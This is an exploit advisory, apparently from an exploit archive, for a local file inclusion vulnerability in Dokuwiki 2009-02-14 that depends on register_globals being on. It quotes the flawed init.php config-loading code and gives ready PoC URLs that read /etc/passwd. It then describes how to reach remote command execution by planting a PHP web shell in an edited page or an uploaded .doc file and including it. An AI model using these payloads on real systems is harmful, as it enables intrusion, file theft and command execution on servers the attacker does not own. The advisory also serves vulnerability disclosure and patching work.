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Dokuwiki 2009-02-14 Local File Inclusion Vulnerability
[======================================================
Dokuwiki 2009-02-14 Local File Inclusion Vulnerability
======================================================
# Author_ girex
# CMS_ Dokuwiki
# Homepage_ dokuwiki.org
# Affected versions_ 2009-02-14
rc2009-02-06
rc2009-01-30
# Bug_ Local file inclusion
# Need_ register_globals = On
# Vuln description_
# File: /inc/init.php
// if available load a preload config file
$preload = fullpath(dirname(__FILE__)).'/preload.php';
if (@file_exists($preload)) include($preload);
...
//set the configuration cascade - but only if its not already been set in preload.php
global $config_cascade;
if (empty($config_cascade)) {
$config_cascade = array(
'main' => array(
'default' => array(DOKU_CONF.'dokuwiki.php'),
'local' => array(DOKU_CONF.'local.php'),
'protected' => array(DOKU_CONF.'local.protected.php'),
),
...
// load the global config file(s)
foreach (array('default','local','protected') as $config_group) {
if (empty($config_cascade['main'][$config_group])) continue;
foreach ($config_cascade['main'][$config_group] as $config_file) {
if (@file_exists($config_file)) {
include($config_file);
}
}
}
# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.
# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README
# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php
# If so, upload your file with .doc extension then include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
# 0day.today [2024-11-15] #